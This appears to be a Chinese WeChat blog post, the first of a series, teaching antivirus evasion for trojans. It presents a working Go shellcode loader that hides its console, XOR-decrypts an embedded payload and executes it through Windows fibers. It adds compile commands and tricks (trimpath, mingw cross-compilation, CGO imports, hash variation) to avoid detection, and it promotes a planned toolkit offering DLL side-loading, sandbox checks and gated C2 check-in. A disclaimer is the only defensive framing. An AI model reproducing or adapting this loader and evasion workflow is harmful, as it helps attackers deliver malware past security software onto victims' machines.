简介
首先关注我的朋友都知道,我只会分享纯干货,包括那些容易让初学者理解的文章,关于技术原理,你可以在其他公众号和平台上找到很多相关的资料。那么,为什么我会写这篇文章呢?原因是我的后台私信中很多人都表达了学习的愿望,这激发了我写这篇文章的想法,会分为几篇。接下来的文章将不会过多解释原理,而是帮助大家更快地掌握免杀技术。
然而,我仍然建议大家要认真学习基础知识,因为这对于长远的学习和发展非常重要。你们能够点击进来阅读这篇文章已经说明了你们对这个领域的兴趣。在这个快节奏的社会中,让我们永远保持乐善好学的态度。
免责声明
由于传播、利用此文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本文作者不为此承担任何责任。切勿用于未授权测试!本文主要来自日常学习记录
第一篇
流程化免杀
在高强度的对抗下,这些免杀不太够用,但是国内的项目够用了,但是不能长用。
因为你仅仅需要的只是一个Loader。
免写代码
在不会不懂的情况下完全可以通过开源的项目进行编写木马。
在这里语言以C/Go为主
Github搜索会吧,关键词:Bypass Av 、免杀
这里我就以之前发的(期间因为一些乱事,导致这个项目没有后续),使用工具请务必遵守法律法规。
复制Loader
package main
import(
"golang.org/x/sys/windows"
"github.com/gonutz/ide/w32"
"unsafe"
)
var(
//加密Shellcode 这里是用了模版方法写入加密的字符串,现在我们以手工为例。
sc ="{{.Exshell}}"
)
// 隐藏console
funcguihide(commandShow uintptr){
console := w32.GetConsoleWindow()
if console !=0{
_, consoleProcID := w32.GetWindowThreadProcessId(console)
if w32.GetCurrentProcessId()== consoleProcID {
w32.ShowWindowAsync(console, commandShow)
}
}
}
//go 的一个隐藏函数,往期文章有介绍
funcinit(){
//不用-h=windowsgui,使用win api隐藏窗口
guihide(w32.SW_HIDE)
//可以找点反沙箱的代码贴进来
//.......
}
funcmain(){
//解密Shellcode
shellcode :=Xorxor(sc)
//调用APi加载、上线
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
RtlCopyMemory:= ntdll.NewProc("RtlCopyMemory")
ConvertThreadToFiber:= kernel32.NewProc("ConvertThreadToFiber")
CreateFiber:= kernel32.NewProc("CreateFiber")
SwitchToFiber:= kernel32.NewProc("SwitchToFiber")
fiberAddr, _, _ :=ConvertThreadToFiber.Call()
addr, _ :=windows.VirtualAlloc(0,uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
RtlCopyMemory.Call(addr,(uintptr)(unsafe.Pointer(&shellcode[0])),uintptr(len(shellcode)))
var oldProtect uint32= windows.PAGE_READWRITE
windows.VirtualProtect(addr,uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ,&oldProtect)
fiber, _, _ :=CreateFiber.Call(0, addr,0)
SwitchToFiber.Call(fiber)
SwitchToFiber.Call(fiberAddr)
}
上面就是一个简单的Loader,很多项目都很完善,这里不过多操作
基于go编译效果的免杀
CGO_ENABLED=1 GOOS=windows GOARCH=amd64 go build -trimpath main.go
可以看出效果还不错,不过多解释,自己去看杀毒得原理
到这里如果是虚拟机编译且不考虑其他,你已经可以去奔赴了,下面的可以不用看了(只是单纯想搞个免杀)
但是啊,我们看看特征
首先体积
调试信息
go包等等......
调试信息是可以解决的,例如:
这里会有一个问题,处理后的程序可能这样,问题出在PE,这个可以自行摸索,只是一个方法
另外就是使用garble混淆,但效果不是很好
另外记得每次编译确保Hash都不一样
其次使用交叉编译例如mingw64
CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc GOOS=windows GOARCH=amd64 go build -a -trimpath 1.go
另外loader不必花太多时间,能解决实际需求就可以,所以很多大哥喜欢拿来就用。
引入C包
利用CGO的特性免杀,_表示匿名占位符,当在导入包时使用 _,它表示导入包的副作用(例如初始 化)将被忽略,并且只是为了确保编译器执行相应的操作。
import"C"
import _ "runtime/cgo"
对比一下效果
这些都只是其中一点点小技巧,如果你去github拉的项目编译就被杀,不妨试试如上方法。
题外话
这是最近在做的一个事情写武器化前端,学了几天的React,借鉴(抄袭)了遮天团队师傅的界面,完成了这个鬼样子,面是大概的功能,写完后,可能考虑放出来耍段时间。如果有师傅愿意加入帮忙做前端的工作,那真是太感谢了,也希望有志同道合的师傅可以一起参与!
免杀:
模版化免杀、预编译、Patch、沙箱、核晶权限维持等等
特殊白加黑:
之前分享的Dat、白加黑、特殊的多文件以及单文件、武器白加黑模式:如Fscan白加黑化、代理白加黑
捆绑,释放白加黑。
C2上线准入:
c2上线前置准入(原理:心跳不断的情况下判断主机是否沙箱、下发shellcode上线)
可能还有更多(......)
原文始发于微信公众号(一颗好韭菜):流程化免杀训练(一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论